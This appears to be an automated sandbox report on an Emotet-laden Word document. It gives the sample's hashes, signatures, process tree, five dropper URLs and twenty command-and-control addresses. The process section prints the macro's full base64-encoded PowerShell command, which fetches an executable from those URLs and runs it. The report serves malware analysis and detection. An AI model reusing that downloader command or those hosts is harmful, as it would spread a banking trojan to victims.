Overview

overview

10

Static

static

8

7TEH9981X.doc

windows7_x64

10

7TEH9981X.doc

windows10_x64

1

Analysis

  • max time kernel
    113s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31/07/2020, 07:12

Sharing

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General

  • Target
    7TEH9981X.doc
  • Size 177KB
  • Sample200731-8pyc8lcjbn
  • SHA256 a0b708f41528979edc1e4fdb73dd0404620097b95dec5a4e6debb48ed6ea47f7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://kmgusa.net/_Media/vcpg_k56w_8d5/
  • exe.dropper

    http://saangberg.com/wp-includes/u_a_vn/
  • exe.dropper

    https://webpresario.com/now/Marck-Script/c3j0x_6_8z2g0sdd/
  • exe.dropper

    https://www.merlincolor.com/stylesheets/46_b_ez5p/
  • exe.dropper

    http://www.geodesign07.com/wp-content/ni9tn_7_6aiui/

Extracted

Family

  • emotet

C2

  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7TEH9981X.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAFYATgBCAEgAdwB1AHoAPQAnAFMAUABGAEMAWgBhAGgAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIASQBgAFQAeQBwAGAAUgBPAHQATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFgATABRAEgATABvAHAAbAAgAD0AIAAnADQAMQA1ACcAOwAkAFIASgBSAEkATgBlAGkAbAA9ACcASgBQAFkAWABMAGQAbAB3ACcAOwAkAFUARgBOAEYAQQBwAHEAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABMAFEASABMAG8AcABsACsAJwAuAGUAeABlACcAOwAkAFQAWQBSAEwAQgBtAHgAbQA9ACcAVgBMAFAAWgBDAGUAYwB0ACcAOwAkAEMAQgBUAEQAVABmAGMAcQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBDAEwASQBFAG4AVAA7ACQAWABLAEcAWQBQAGwAZwB3AD0AJwBoAHQAdABwADoALwAvAGsAbQBnAHUAcwBhAC4AbgBlAHQALwBfAE0AZQBkAGkAYQAvAHYAYwBwAGcAXwBrADUANgB3AF8AOABkADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGEAbgBnAGIAZQByAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAXwBhAF8AdgBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGIAcAByAGUAcwBhAHIAaQBvAC4AYwBvAG0ALwBuAG8AdwAvAE0AYQByAGMAawAtAFMAYwByAGkAcAB0AC8AYwAzAGoAMAB4AF8ANgBfADgAegAyAGcAMABzAGQAZAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBlAHIAbABpAG4AYwBvAGwAbwByAC4AYwBvAG0ALwBzAHQAeQBsAGUAcwBoAGUAZQB0AHMALwA0ADYAXwBiAF8AZQB6ADUAcAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAZQBvAGQAZQBzAGkAZwBuADAANwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG4AaQA5AHQAbgBfADcAXwA2AGEAaQB1AGkALwAnAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIATgBBAFcAWQBsAHYAcQA9ACcAVABSAFQAWQBPAGUAeQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAEEATgBNAFcAcQBkAHMAIABpAG4AIAAkAFgASwBHAFkAUABsAGcAdwApAHsAdAByAHkAewAkAEMAQgBUAEQAVABmAGMAcQAuACIAZABgAE8AVwBOAEwATwBBAGQAZgBJAGAAbABlACIAKAAkAFEAQQBOAE0AVwBxAGQAcwAsACAAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVgBHAEkARQBLAGIAYwBuAD0AJwBLAEoATQBVAFYAcwBhAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABVAEYATgBGAEEAcABxAGIAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADcANgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAARQBBAHQAZQAiACgAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVwBBAEYAUABLAHoAZAB1AD0AJwBXAFgATABCAE4AcwBnAG0AJwA7AGIAcgBlAGEAawA7ACQAVwBDAFoAVABLAGwAawBnAD0AJwBaAFcAQgBZAEUAdQBvAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBRAFgARQBIAGcAdQByAD0AJwBZAEkAWgBDAE8AZgBnAG0AJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    PID:1720
  • C:\Users\Admin\415.exe
    C:\Users\Admin\415.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1816
    • C:\Windows\SysWOW64\print\icardres.exe
      "C:\Windows\SysWOW64\print\icardres.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1652

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/316-7-0x0000000006E50000-0x0000000007050000-memory.dmp
        Download

        memory/316-5-0x000000000AE70000-0x000000000AE74000-memory.dmp
        Download

        memory/316-6-0x000000000BEF0000-0x000000000BEF4000-memory.dmp
        Download

        memory/316-0-0x0000000000530000-0x0000000000534000-memory.dmp
        Download

        memory/316-8-0x0000000006E50000-0x0000000007050000-memory.dmp
        Download

        memory/316-4-0x0000000006E50000-0x0000000007050000-memory.dmp
        Download

        memory/316-3-0x0000000006E50000-0x0000000007050000-memory.dmp
        Download

        memory/316-2-0x0000000008A60000-0x0000000008A64000-memory.dmp
        Download

        memory/1652-15-0x0000000000380000-0x000000000038C000-memory.dmp
        Download

        memory/1816-11-0x00000000003B0000-0x00000000003BC000-memory.dmp
        Download